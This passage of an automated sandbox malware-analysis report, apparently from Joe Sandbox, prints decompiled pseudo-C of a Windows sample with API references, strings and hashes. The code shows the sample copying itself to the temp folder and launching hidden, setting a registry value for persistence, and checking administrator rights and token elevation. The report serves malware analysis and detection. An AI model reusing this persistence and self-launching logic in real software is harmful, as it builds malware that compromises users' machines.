								_t276 = _t279 - _t449 + _t459;
								__eflags = _t276;
								goto L107;
							}
							_t282 = _v8 + 3;
							_v672 = 0;
							__eflags =  *_t282 - 0x22;
							_v20 = _t282;
							if( *_t282 != 0x22) {
								_t283 = E0040ED03(_v20, 0x20);
								_pop(_t438);
								__eflags = _t283;
								if(_t283 == 0) {
									_t283 =  &(_a12[lstrlenA(_a12)]);
									__eflags = _t283;
								}
								_t284 = _t283 - _v8;
								_v24 = _t284;
								__eflags = _t284 + 0xfffffffd;
								E0040EE08( &_v672, _v20, _t284 + 0xfffffffd);
								 *((char*)(_t464 + _v24 - 0x29f)) = 0;
								L98:
								_t468 = _t468 + 0xc;
								L99:
								__eflags = _v672;
								if(_v672 != 0) {
									E0040EE08(0x4133d8,  &_v672, 0x103);
									_t468 = _t468 + 0xc;
								}
								 *0x412cc0 = 1;
								goto L102;
							}
							_v20 = _v8 + 4;
							_t294 = E0040ED03(_v8 + 4, 0x22);
							_pop(_t438);
							__eflags = _t294;
							if(_t294 == 0) {
								goto L99;
							}
							_v24 = _t294 - _v8;
							E0040EE08( &_v672, _v20, _t294 - _v8 + 0xfffffffc);
							 *((char*)(_t464 + _v24 - 0x2a0)) = 0;
							goto L98;
						}
						_v36 = 0;
						if(_t257 >= 4 || _v48 > 0x61 && _v44 != 0) {
							L84:
							if(GetModuleFileNameA(GetModuleHandleA(0),  &_v672, 0x12c) != 0) {
								_t303 =  &_v672;
								if(_v672 == 0x22) {
									_t303 =  &_v671;
								}
								if(_t303[1] == 0x3a && _t303[2] == 0x5c) {
									_t303[3] = 0;
									_t304 = GetDriveTypeA(_t303);
									_t515 = _t304 - 2;
									if(_t304 != 2) {
										E00409145(_t515);
										_t438 = 1;
									}
								}
							}
							goto L19;
						} else {
							E00404280(_t438, 1); // executed
							_pop(_t438);
							if(_v672 == 0) {
								goto L84;
							}
							_t309 = E0040675C( &_v672,  &_v12, 0); // executed
							_t467 = _t467 + 0xc;
							_v8 = _t309;
							if(_t309 == 0 || _v12 == 0) {
								goto L84;
							} else {
								_v32 = 0;
								_v28 = 0;
								if(_v16 == 2) {
									L55:
									__eflags = _v16 - 3;
									if(_v16 >= 3) {
										L83:
										E0040EC2E(_v8);
										_pop(_t438);
										if(_v36 != 0) {
											goto L19;
										}
										goto L84;
									}
									_t312 = E00402544(_t459, 0x410a3c, 0xc, 0xe4, 0xc8);
									_t469 = _t467 + 0x14;
									__eflags = GetEnvironmentVariableA(_t312,  &_v1272, 0x1f4);
									if(__eflags == 0) {
										L82:
										E0040EE2A(_t438, _t459, 0, _t454);
										_t467 = _t469 + 0xc;
										goto L83;
									}
									_t318 = E004099D2(_t449, __eflags,  &_v1272,  &_v672,  &_v704, _v8, _v12);
									_t469 = _t469 + 0x14;
									__eflags = _t318;
									if(_t318 == 0) {
										goto L82;
									}
									E0040EE2A(_t438, _t459, 0, _t454);
									_t470 = _t469 + 0xc;
									_v1272 = 0x22;
									lstrcpyA( &_v1271,  &_v672);
									_t324 = lstrlenA( &_v1272);
									 *((char*)(_t464 + _t324 - 0x4f4)) = 0x22;
									_t325 = _t324 + 1;
									__eflags = _v16 - 2;
									_a12 = _t325;
									 *((char*)(_t464 + _t325 - 0x4f4)) = 0;
									if(_v16 != 2) {
										L60:
										_push(0);
										_push( &_v112);
										_t328 = E00406DC2(_t438) ^ 0x61616161;
										__eflags = _t328;
										_push(_t328);
										E0040F133();
										_t470 = _t470 + 0xc;
										L61:
										_t331 = E00402544(_t459,  &E004106AC, 0x2e, 0xe4, 0xc8);
										_t471 = _t470 + 0x14;
										_t332 = RegOpenKeyExA(0x80000001, _t331, 0, 0x103,  &_v24);
										_v20 = _t332;
										__eflags = _t332;
										if(_t332 == 0) {
											_t373 =  &(_a12[1]);
											__eflags = _t373;
											_v20 = RegSetValueExA(_v24,  &_v112, 0, 1,  &_v1272, _t373);
											RegCloseKey(_v24);
										}
										E0040EE2A(_t438, _t459, 0, _t454);
										E0040EE2A(_t438,  &_v772, 0, 0x44);
										_v772.cb = 0x44;
										E0040EE2A(_t438,  &_v64, 0, 0x10);
										_t469 = _t471 + 0x24;
										_t340 = GetModuleFileNameA(GetModuleHandleA(0),  &_v372, 0x104);
										__eflags = _t340;
										if(_t340 != 0) {
											__eflags = _v372 - 0x22;
											_t357 =  &_v372;
											_v40 = _t357;
											if(_v372 == 0x22) {
												_t357 =  &_v371;
												_v40 = _t357;
											}
											__eflags =  *((char*)(_t357 + 1)) - 0x3a;
											if( *((char*)(_t357 + 1)) == 0x3a) {
												__eflags =  *((char*)(_t357 + 2)) - 0x5c;
												if( *((char*)(_t357 + 2)) == 0x5c) {
													_t358 = _v40;
													_t438 = _t358[3];
													_a15 = _t358[3];
													_t358[3] = 0;
													_t359 = GetDriveTypeA(_t358);
													__eflags = _t359 - 2;
													if(_t359 != 2) {
														_t438 = _v40;
														_v40[3] = _a15;
														lstrcatA( &_v1272, E00402544(_t459, 0x410a38, 4, 0xe4, 0xc8));
														E0040EE2A(_v40, _t459, 0, _t454);
														_t469 = _t469 + 0x20;
														__eflags = _v372 - 0x22;
														if(_v372 != 0x22) {
															lstrcatA( &_v1272, "\"");
														}
														lstrcatA( &_v1272,  &_v372);
														__eflags = _v372 - 0x22;
														if(_v372 != 0x22) {
															lstrcatA( &_v1272, "\"");
														}
														_v36 = 1;
													}
												}
											}
										}
										__eflags = _v32;
										if(_v32 != 0) {
											__eflags = _v28;
											if(_v28 != 0) {
												wsprintfA( &_v372, "%X%08X", _v28, _v32);
												lstrcatA( &_v1272, E00402544(_t459, 0x410a28, 4, 0xe4, 0xc8));
												E0040EE2A(_t438, _t459, 0, _t454);
												_t469 = _t469 + 0x30;
												lstrcatA( &_v1272,  &_v372);
											}
										}
										_t344 = CreateProcessA(0,  &_v1272, 0, 0, 0, 0x8000000, 0, 0,  &_v772,  &_v64);
										__eflags = _t344;
										if(_t344 == 0) {
											DeleteFileA( &_v672);
											_v36 = 0;
										}
										__eflags = _v16 - 1;
										if(_v16 == 1) {
											__eflags = _v20;
											if(_v20 == 0) {
												E004096FF(_t438);
											}
										}
										goto L82;
									}
									__eflags = _v112;
									if(_v112 != 0) {
										goto L61;
									}
									goto L60;
								}
								_t379 = GetTempPathA(0x1f4,  &_v1272);
								_t494 = _t379;
								if(_t379 == 0) {
									goto L55;
								}
								_t383 = E004099D2(_t449, _t494,  &_v1272,  &_v672,  &_v704, _v8, _v12); // executed
								_t467 = _t467 + 0x14;
								if(_t383 == 0) {
									goto L55;
								}
								_v80 = 0;
								if(_v16 < 3 || _v372 == 0) {
									_push(0);
									_push( &_v80);
									_push(E00406DC2(_t438) ^ 0x61616161);
									E0040F133();
									_t474 = _t467 + 0xc;
									lstrcpyA( &_v372, E00406CC9(_t438));
									lstrcatA( &_v372,  &_v80);
									lstrcatA( &_v372,  &E0041070C);
									_t396 = 0;
									__eflags = 0;
									goto L43;
								} else {
									_t410 =  &_v372;
									_t450 = _t410 + 1;
									do {
										_t441 =  *_t410;
										_t410 = _t410 + 1;
									} while (_t441 != 0);
									_t411 = _t410 - _t450;
									if(_t411 > 0 &&  *((char*)(_t464 + _t411 - 0x171)) == 0x5c) {
										_t411 = _t411 - 1;
									}
									_t451 = _t411;
									if(_t411 <= 0) {
										L41:
										_t449 = _t451 - _t411;
										_a12 = _t451 - _t411;
										E0040EE08( &_v80, _t464 + _t411 - 0x170, _t451 - _t411);
										 *((char*)(_t464 + _a12 - 0x4c)) = 0;
										_t474 = _t467 + 0xc;
										_t396 = 1;
										L43:
										if(_v44 == 0 || _v48 < 0x50) {
											_t438 = 1;
											__eflags = 1;
										} else {
											_t438 = 0;
										}
										_push(_t438);
										_push(_t396);
										_push( &_v372);
										_push( &_v80);
										_push( &_v672);
										_push( &_v704);
										_t401 = E00409326(_t438, _t449);
										_t467 = _t474 + 0x18;
										if(_t401 == 0) {
											_t402 =  *0x41217c; // 0x0
											_v32 = _t402;
											_t403 =  *0x412180; // 0x0
											goto L54;
										} else {
											if(GetFileAttributesExA( &_v672, 0,  &(_v772.dwXCountChars)) != 0) {
												_t403 = 0x61080108;
												 *0x412180 = 0x61080108;
												 *0x41217c = 0;
												_v32 = 0;
												L54:
												_v28 = _t403;
												DeleteFileA( &_v672);
												goto L55;
											}
											_t459 = 1;
											if(_v16 == 1) {
												E004096FF(_t438);
											}
											_v36 = _t459;
											goto L83;
										}
									} else {
										_t442 =  &_v372;
										while( *((char*)(_t442 + _t411 - 1)) != 0x5c) {
											_t411 = _t411 - 1;
											if(_t411 > 0) {
												continue;
											}
											goto L41;
										}
										goto L41;
									}
								}
							}
						}
					}
					_t417 = _v8;
					_t454 = _t417 + 3;
					_v372 = 0;
					if( *((char*)(_t417 + 3)) != 0x22) {
						_t418 = E0040ED03(_t454, 0x20);
						_pop(_t438);
						__eflags = _t418;
						if(_t418 == 0) {
							_t418 =  &(_a12[lstrlenA(_a12)]);
							__eflags = _t418;
						}
						_t459 = _t418 - _v8;
						__eflags = _t459;
						E0040EE08( &_v372, _t454, _t459 - 3);
						 *((char*)(_t464 + _t459 - 0x173)) = 0;
						L13:
						_t467 = _t467 + 0xc;
						L14:
						if(_v372 != 0 && _v672 != 0) {
							_t424 = E0040675C( &_v672,  &_v12, 0);
							_t467 = _t467 + 0xc;
							if(_t424 != 0 && _v12 != 0) {
								_t426 = E00406A60(_t449,  &_v372, _t424, _v12);
								_t467 = _t467 + 0xc;
								_v12 = _t426;
							}
						}
						goto L19;
					}
					_t454 = _t417 + 4;
					_t428 = E0040ED03(_t417 + 4, 0x22);
					_pop(_t438);
					if(_t428 == 0) {
						goto L14;
					} else {
						_t459 = _t428 - _v8;
						E0040EE08( &_v372, _t454, _t459 - 4);
						 *((char*)(_t464 + _t459 - 0x174)) = 0;
						goto L13;
					}
				}
			}

0x00409a7f
0x00409a83
0x00409a8a
0x00409a90
0x00409a97
0x00409a9d
0x0040a3cc
0x0040a3d2
0x0040a41c
0x0040a42c
0x0040a43a
0x0040a440
0x0040a448
0x0040a452
0x0040a45a
0x0040a469
0x0040a46b
0x0040a470
0x0040a475
0x0040a47a
0x0040a48a
0x0040a48c
0x0040a497
0x0040a497
0x0040a49d
0x00000000
0x00000000
0x0040a49f
0x0040a4a7
0x0040a4ac
0x0040a4be
0x0040a4c3
0x00000000
0x0040a4c3
0x0040a4ae
0x0040a4ae
0x0040a4b3
0x0040a4b5
0x0040a4b9
0x0040a4b9
0x00000000
0x0040a4b5
0x0040a497
0x0040a3da
0x0040a406
0x0040a407
0x0040a409
0x0040a40b
0x00000000
0x00000000
0x0040a3e8
0x0040a3eb
0x00000000
0x00000000
0x0040a3ed
0x0040a3f3
0x0040a3f6
0x00000000
0x00000000
0x0040a3f8
0x0040a3f8
0x0040a3f8
0x0040a400
0x0040a400
0x0040a414
0x0040a419
0x00000000
0x00409aa3
0x00409ab0
0x00409ac2
0x00409ac4
0x00409ac4
0x00409ad1
0x00409ae1
0x00409aef
0x00409af4
0x00409af9
0x00409afb
0x00409afb
0x00409af9
0x00409afd
0x00409b14
0x00409b1a
0x00409b26
0x00409b2b
0x00409b33
0x00409b36
0x00409b3b
0x00409b41
0x00409c26
0x00409c2b
0x00409c2e
0x00409c33
0x0040a1de
0x0040a1e4
0x0040a1fd
0x0040a211
0x0040a214
0x0040a219
0x0040a21c
0x0040a21f
0x0040a2e2
0x0040a305
0x0040a308
0x0040a30d
0x0040a310
0x0040a313
0x0040a35a
0x0040a35a
0x0040a35f
0x0040a361
0x0040a3c2
0x00409c05
0x00409c06
0x00409c06
0x0040a363
0x0040a369
0x0040a397
0x0040a397
0x0040a39d
0x0040a3a3
0x0040a3aa
0x0040a3b1
0x0040a3b4
0x0040a3b7
0x00000000
0x0040a3b7
0x0040a36b
0x0040a371
0x0040a374
0x0040a374
0x0040a376
0x0040a377
0x0040a377
0x0040a37d
0x0040a380
0x00000000
0x00000000
0x0040a38e
0x0040a394
0x00000000
0x0040a394
0x0040a318
0x0040a31e
0x0040a324
0x0040a325
0x0040a327
0x0040a339
0x0040a33b
0x0040a33d
0x0040a340
0x0040a344
0x0040a344
0x0040a34c
0x0040a351
0x0040a354
0x00000000
0x0040a354
0x0040a329
0x0040a32b
0x0040a32e
0x0040a32e
0x0040a330
0x0040a331
0x0040a331
0x0040a337
0x0040a337
0x00000000
0x0040a337
0x0040a228
0x0040a22b
0x0040a231
0x0040a234
0x0040a237
0x0040a27a
0x0040a280
0x0040a281
0x0040a283
0x0040a28e
0x0040a28e
0x0040a28e
0x0040a291
0x0040a294
0x0040a297
0x0040a2a5
0x0040a2ad
0x0040a2b4
0x0040a2b4
0x0040a2b7
0x0040a2b7
0x0040a2bd
0x0040a2d0
0x0040a2d5
0x0040a2d5
0x0040a2d8
0x00000000
0x0040a2d8
0x0040a242
0x0040a245
0x0040a24b
0x0040a24c
0x0040a24e
0x00000000
0x00000000
0x0040a253
0x0040a264
0x0040a26c
0x00000000
0x0040a26c
0x00409c39
0x00409c3f
0x0040a167
0x0040a183
0x0040a190
0x0040a196
0x0040a198
0x0040a198
0x0040a1a2
0x0040a1b3
0x0040a1b6
0x0040a1bc
0x0040a1bf
0x0040a1c7
0x0040a1cc
0x0040a1cc
0x0040a1bf
0x0040a1a2
0x00000000
0x00409c54
0x00409c56
0x00409c5b
0x00409c62
0x00000000
0x00000000
0x00409c74
0x00409c79
0x00409c7c
0x00409c81
0x00000000
0x00409c90
0x00409c94
0x00409c97
0x00409c9a
0x00409e3e
0x00409e3e
0x00409e42
0x0040a155
0x0040a158
0x0040a15d
0x0040a161
0x00000000
0x00000000
0x00000000
0x0040a161
0x00409e66
0x00409e6b
0x00409e75
0x00409e77
0x0040a14a
0x0040a14d
0x0040a152
0x00000000
0x0040a152
0x00409e98
0x00409e9d
0x00409ea0
0x00409ea2
0x00000000
0x00000000
0x00409eab
0x00409eb0
0x00409ec1
0x00409ec8
0x00409ed5
0x00409edb
0x00409ee3
0x00409ee4
0x00409ee8
0x00409eeb
0x00409ef2
0x00409ef9
0x00409efc
0x00409efd
0x00409f03
0x00409f03
0x00409f08
0x00409f09
0x00409f0e
0x00409f11
0x00409f2d
0x00409f32
0x00409f3b
0x00409f41
0x00409f44
0x00409f46
0x00409f4b
0x00409f4b
0x00409f67
0x00409f6a
0x00409f6a
0x00409f73
0x00409f82
0x00409f8e
0x00409f98
0x00409f9d
0x00409fb4
0x00409fba
0x00409fbc
0x00409fc2
0x00409fc9
0x00409fcf
0x00409fd2
0x00409fd4
0x00409fda
0x00409fda
0x00409fdd
0x00409fe1
0x00409fe7
0x00409feb
0x00409ff1
0x00409ff4
0x00409ff8
0x00409ffb
0x00409ffe
0x0040a004
0x0040a007
0x0040a010
0x0040a025
0x0040a038
0x0040a041
0x0040a046
0x0040a049
0x0040a050
0x0040a05e
0x0040a05e
0x0040a072
0x0040a078
0x0040a07f
0x0040a08d
0x0040a08d
0x0040a093
0x0040a093
0x0040a007
0x00409feb
0x00409fe1
0x0040a09a
0x0040a09d
0x0040a09f
0x0040a0a2
0x0040a0b6
0x0040a0de
0x0040a0e7
0x0040a0ec
0x0040a0fd
0x0040a0fd
0x0040a0a2
0x0040a120
0x0040a126
0x0040a128
0x0040a131
0x0040a137
0x0040a137
0x0040a13a
0x0040a13e
0x0040a140
0x0040a143
0x0040a145
0x0040a145
0x0040a143
0x00000000
0x0040a13e
0x00409ef4
0x00409ef7
0x00000000
0x00000000
0x00000000
0x00409ef7
0x00409cac
0x00409cb2
0x00409cb4
0x00000000
0x00000000
0x00409cd5
0x00409cda
0x00409cdf
0x00000000
0x00000000
0x00409ce9
0x00409cec
0x00409d58
0x00409d59
0x00409d64
0x00409d65
0x00409d6a
0x00409d7a
0x00409d8b
0x00409d9d
0x00409da3
0x00409da3
0x00000000
0x00409cf6
0x00409cf6
0x00409cfc
0x00409cff
0x00409cff
0x00409d01
0x00409d02
0x00409d06
0x00409d0a
0x00409d16
0x00409d16
0x00409d17
0x00409d1b
0x00409d2f
0x00409d2f
0x00409d3e
0x00409d41
0x00409d49
0x00409d4f
0x00409d52
0x00409da5
0x00409da8
0x00409db6
0x00409db6
0x00409db0
0x00409db0
0x00409db0
0x00409db7
0x00409db8
0x00409dbf
0x00409dc3
0x00409dca
0x00409dd1
0x00409dd2
0x00409dd7
0x00409ddc
0x00409e21
0x00409e26
0x00409e29
0x00000000
0x00409dde
0x00409df5
0x00409e0c
0x00409e11
0x00409e16
0x00409e1c
0x00409e2e
0x00409e2e
0x00409e38
0x00000000
0x00409e38
0x00409df9
0x00409dfd
0x00409dff
0x00409dff
0x00409e04
0x00000000
0x00409e04
0x00409d1d
0x00409d1d
0x00409d23
0x00409d2a
0x00409d2d
0x00000000
0x00000000
0x00000000
0x00409d2d
0x00000000
0x00409d23
0x00409d1b
0x00409cec
0x00409c81
0x00409c3f
0x00409b47
0x00409b4a
0x00409b4d
0x00409b56
0x00409b8b
0x00409b91
0x00409b92
0x00409b94
0x00409b9f
0x00409b9f
0x00409b9f
0x00409ba4
0x00409ba4
0x00409bb3
0x00409bb8
0x00409bbf
0x00409bbf
0x00409bc2
0x00409bc8
0x00409bde
0x00409be3
0x00409be8
0x00409bfa
0x00409bff
0x00409c02
0x00409c02
0x00409be8
0x00000000
0x00409bc8
0x00409b58
0x00409b5e
0x00409b64
0x00409b67
0x00000000
0x00409b69
0x00409b6b
0x00409b7a
0x00409b7f
0x00000000
0x00409b7f
0x00409b67

APIs

SetErrorMode.KERNELBASE(00000003), ref: 00409A7F
SetErrorMode.KERNELBASE(00000003), ref: 00409A83
SetUnhandledExceptionFilter.KERNELBASE(00406511), ref: 00409A8A

Part of subcall function 0040EC54: GetSystemTimeAsFileTime.KERNEL32(?), ref: 0040EC5E
Part of subcall function 0040EC54: GetVolumeInformationA.KERNELBASE(00000000,00000000,00000004,?,00000000,00000000,00000000,00000000), ref: 0040EC72
Part of subcall function 0040EC54: GetTickCount.KERNEL32 ref: 0040EC78

GetModuleHandleA.KERNEL32(00000000,?,0000012C), ref: 00409AB3
GetModuleFileNameA.KERNEL32(00000000), ref: 00409ABA
GetCommandLineA.KERNEL32 ref: 00409AFD
lstrlenA.KERNEL32(?), ref: 00409B99
ExitProcess.KERNEL32 ref: 00409C06
GetTempPathA.KERNEL32(000001F4,?), ref: 00409CAC
lstrcpyA.KERNEL32(?,00000000), ref: 00409D7A
lstrcatA.KERNEL32(?,?), ref: 00409D8B
lstrcatA.KERNEL32(?,0041070C), ref: 00409D9D
GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 00409DED
DeleteFileA.KERNEL32(00000022), ref: 00409E38
GetEnvironmentVariableA.KERNEL32(00000000,?,?,?,?,000001F4), ref: 00409E6F
lstrcpyA.KERNEL32(?,00000022,?,?,?,?,?,?,?,?,?,?,?,?,000001F4), ref: 00409EC8
lstrlenA.KERNEL32(00000022,?,?,?,?,?,?,?,?,?,?,?,?,000001F4), ref: 00409ED5
RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,00000000,00000103,?), ref: 00409F3B
RegSetValueExA.ADVAPI32(?,?,00000000,00000001,00000022,?,?,?,00000000,00000103,?), ref: 00409F5E
RegCloseKey.ADVAPI32(?,?,?,00000000,00000103,?), ref: 00409F6A
GetModuleHandleA.KERNEL32(00000000,?,00000104,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103), ref: 00409FAD
GetModuleFileNameA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 00409FB4
GetDriveTypeA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 00409FFE
lstrcatA.KERNEL32(00000022,00000000), ref: 0040A038
lstrcatA.KERNEL32(00000022,00410A34), ref: 0040A05E
lstrcatA.KERNEL32(00000022,00000022), ref: 0040A072
lstrcatA.KERNEL32(00000022,00410A34), ref: 0040A08D
wsprintfA.USER32 ref: 0040A0B6
lstrcatA.KERNEL32(00000022,00000000), ref: 0040A0DE
lstrcatA.KERNEL32(00000022,?), ref: 0040A0FD
CreateProcessA.KERNEL32(00000000,00000022,00000000,00000000,00000000,08000000,00000000,00000000,00000044,?), ref: 0040A120
DeleteFileA.KERNEL32(00000022,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 0040A131
GetModuleHandleA.KERNEL32(00000000,00000022,0000012C), ref: 0040A174
GetModuleFileNameA.KERNEL32(00000000), ref: 0040A17B
GetDriveTypeA.KERNEL32(00000022), ref: 0040A1B6
GetCommandLineA.KERNEL32 ref: 0040A1E5

Part of subcall function 004099D2: lstrcpyA.KERNEL32(?,?,00000100,PromptOnSecureDesktop,00000000,?,00409E9D,?,00000022,?,?,?,?,?,?,?), ref: 004099DF
Part of subcall function 004099D2: lstrcatA.KERNEL32(00000022,00000000,?,?,00409E9D,?,00000022,?,?,?,?,?,?,?,000001F4), ref: 00409A3C
Part of subcall function 004099D2: lstrcatA.KERNEL32(?,00000022,?,?,?,?,?,00409E9D,?,00000022,?,?,?), ref: 00409A52

lstrlenA.KERNEL32(?), ref: 0040A288
StartServiceCtrlDispatcherA.ADVAPI32(?), ref: 0040A3B7
GetLastError.KERNEL32 ref: 0040A3ED
Sleep.KERNEL32(000003E8), ref: 0040A400
DeleteFileA.KERNEL32(004133D8), ref: 0040A407
CreateThread.KERNEL32 ref: 0040A42C
WSAStartup.WS2_32(00001010,?), ref: 0040A43A
CreateThread.KERNEL32 ref: 0040A469
Sleep.KERNEL32(00000BB8), ref: 0040A48A
GetTickCount.KERNEL32 ref: 0040A49F
GetTickCount.KERNEL32 ref: 0040A4B7
Sleep.KERNEL32(00002710), ref: 0040A4C3

Strings

PromptOnSecureDesktop, xrefs: 00409B14, 00409B19, 00409B32, 00409E65, 00409EAA, 00409F2C, 00409F72, 0040A024, 0040A040, 0040A0CD, 0040A0E6, 0040A14C, 0040A1FC, 0040A210, 0040A2F3, 0040A304
\, xrefs: 00409D0C
", xrefs: 0040A078
P, xrefs: 00409DAA
0t, xrefs: 0040A491
D, xrefs: 00409F8E
", xrefs: 00409EDB
Mt, xrefs: 00409AB3, 00409FAD, 0040A174
%X%08X, xrefs: 0040A0B0
", xrefs: 0040A189

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Module$CountCreateDeleteErrorHandleNameSleepTicklstrcpylstrlen$CommandDriveLineModeProcessThreadTimeType$AttributesCloseCtrlDispatcherEnvironmentExceptionExitFilterInformationLastOpenPathServiceStartStartupSystemTempUnhandledValueVariableVolumewsprintf
String ID: "$"$"$%X%08X$0t$D$P$PromptOnSecureDesktop$\$Mt
API String ID: 2089075347-3963311112
Opcode ID: 22371034e60be2e8533f9a4e74c45ceaa5b305d0f588b9e787c30c92806b4a47
Instruction ID: 8eb9ea6afe9ee9197cc0e6cd2b03883a1bab6226c4cfd690aa98a93bf3167ae2
Opcode Fuzzy Hash: 22371034e60be2e8533f9a4e74c45ceaa5b305d0f588b9e787c30c92806b4a47
Instruction Fuzzy Hash: 275291B1D40259BBDB11DBA1CC49EEF7BBCAF04304F1444BBF509B6182D6788E948B69

Uniqueness

Uniqueness Score: -1.00%

Function 00419EE7, Relevance: 16.3, APIs: 8, Strings: 1, Instructions: 523
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vswprintf.LIBCMTD ref: 00419F05

Part of subcall function 0041B500: __vsprintf_l.LIBCMTD ref: 0041B513

_putc.LIBCMTD ref: 00419F0C

Part of subcall function 0041B130: __invalid_parameter.LIBCMTD ref: 0041B1BD

__wrename.LIBCMTD ref: 00419F13

Part of subcall function 0041B0E0: __dosmaperr.LIBCMTD ref: 0041B114

_atexit.LIBCMTD ref: 00419F19

Part of subcall function 0041AE70: __atof_l.LIBCMTD ref: 0041AE7B

_malloc.LIBCMTD ref: 00419F2B
_realloc.LIBCMTD ref: 00419F32

Part of subcall function 0041ABC0: __realloc_dbg.LIBCMTD ref: 0041ABD4

_ferror.LIBCMTD ref: 00419F38

Part of subcall function 0041AB40: __invalid_parameter.LIBCMTD ref: 0041AB9A

Part of subcall function 0041AB20: __wcstoi64.LIBCMTD ref: 0041AB2D

_memset.LIBCMT ref: 0041A36A

Strings

cbH, xrefs: 0041A221

Memory Dump Source

Source File: 00000018.00000002.432685720.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_415000_743F.jbxd

Similarity

API ID: __invalid_parameter$__atof_l__dosmaperr__realloc_dbg__vsprintf_l__vswprintf__wcstoi64__wrename_atexit_ferror_malloc_memset_putc_realloc
String ID: cbH
API String ID: 408336251-2585554156
Opcode ID: cf68d4d79052d39286fa97e8ac223c8bc255253c5e37d72d7c9dd084ecb39c2e
Instruction ID: 35f2618780a00ea2678bda021446ac3c9f090c104a1f0087006a7ec4c9b7d007
Opcode Fuzzy Hash: cf68d4d79052d39286fa97e8ac223c8bc255253c5e37d72d7c9dd084ecb39c2e
Instruction Fuzzy Hash: 08F1D976406664BBC321ABA1AE4CDDF3F6CEF4A351B00442AF24AE5070D7385645CBBE

Uniqueness

Uniqueness Score: -1.00%

Function 00406EDD, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E00406EDD() {
				int _v8;
				void* _v12;
				short _v16;
				struct _SID_IDENTIFIER_AUTHORITY _v20;
				signed int _t12;
				int _t15;
				int* _t16;

				_t12 =  *0x412048; // 0x1
				if(_t12 < 0) {
					_v20.Value = 0;
					_v16 = 0x500;
					_t15 = AllocateAndInitializeSid( &_v20, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v12);
					_v8 = _t15;
					if(_t15 != 0) {
						_t6 =  &_v8; // 0x40702a
						_t16 = _t6;
						__imp__CheckTokenMembership(0, _v12, _t16);
						if(_t16 != 0) {
							 *0x412048 = 0 | _v8 == 0x00000000;
						}
						FreeSid(_v12);
					}
					_t12 =  *0x412048; // 0x1
					if(_t12 != 0) {
						_t12 = E00406E36(0x12, 0); // executed
						 *0x412048 = _t12;
					}
				}
				return _t12;
			}

0x00406ee0
0x00406eed
0x00406f06
0x00406f09
0x00406f0f
0x00406f15
0x00406f1a
0x00406f1c
0x00406f1c
0x00406f24
0x00406f2c
0x00406f36
0x00406f36
0x00406f3e
0x00406f3e
0x00406f44
0x00406f4b
0x00406f50
0x00406f57
0x00406f57
0x00406f4b
0x00406f5e

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 00406F0F
CheckTokenMembership.ADVAPI32(00000000,?,*p@), ref: 00406F24
FreeSid.ADVAPI32(?), ref: 00406F3E

Strings

*p@, xrefs: 00406F1C, 00406F1F

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID: *p@
API String ID: 3429775523-2474123842
Opcode ID: 0a69dbeda0d4a5e9697027706ead212625e9f8fcf1c47752efd156d30f81919c
Instruction ID: a55d58a6849641b9de595c9770ce5785232f8714219103e6702645194e06a02f
Opcode Fuzzy Hash: 0a69dbeda0d4a5e9697027706ead212625e9f8fcf1c47752efd156d30f81919c
Instruction Fuzzy Hash: 6701E571904209AFDB10DFE4ED85AAE7BB8F708304F50847AE606E2191D7745A54CB18

Uniqueness

Uniqueness Score: -1.00%

Function 00401820, Relevance: 3.1, APIs: 2, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E00401820(intOrPtr* _a4, intOrPtr* _a8) {
				char _v8;
				char _v12;
				char _v16;
				intOrPtr _t17;
				intOrPtr _t20;
				intOrPtr _t22;
				intOrPtr _t25;
				void* _t41;
				intOrPtr _t42;

				_v8 = 0;
				_v12 = 0;
				_t17 = E00401000();
				if(_t17 > 0) {
					_t20 =  *0x413940(GetCurrentProcess(), 8,  &_v8);
					if(_t20 >= 0) {
						_t22 =  *0x413954(_v8, 0x12,  &_v16, 4,  &_v12, _t41); // executed
						_t42 = _t22;
						 *0x41393c(_v8);
						if(_t42 >= 0) {
							_t25 = _v16;
							if(_t25 == 3) {
								return 1;
							} else {
								 *_a8 = 0x20c;
								 *_a4 = _t25;
								return 0;
							}
						} else {
							 *_a8 = 0x20b;
							 *_a4 = _t42;
							return 0;
						}
					} else {
						 *_a8 = 0x20a;
						 *_a4 = _t20;
						return 0;
					}
				} else {
					 *_a8 = 0x201;
					 *_a4 = _t17;
					return 0;
				}
			}

0x00401826
0x0040182d
0x00401834
0x0040183b
0x0040185e
0x00401866
0x0040188d
0x00401893
0x00401899
0x004018a1
0x004018b8
0x004018be
0x004018de
0x004018c0
0x004018c6
0x004018cc
0x004018d4
0x004018d4
0x004018a3
0x004018a9
0x004018af
0x004018b7
0x004018b7
0x00401868
0x0040186e
0x00401874
0x0040187b
0x0040187b
0x0040183d
0x00401843
0x00401849
0x00401850
0x00401850

APIs

Part of subcall function 00401000: LoadLibraryA.KERNEL32(ntdll.dll,00000000,00401839,00409646), ref: 00401012

GetCurrentProcess.KERNEL32(00000008,00000000,00409646), ref: 00401857

Memory Dump Source

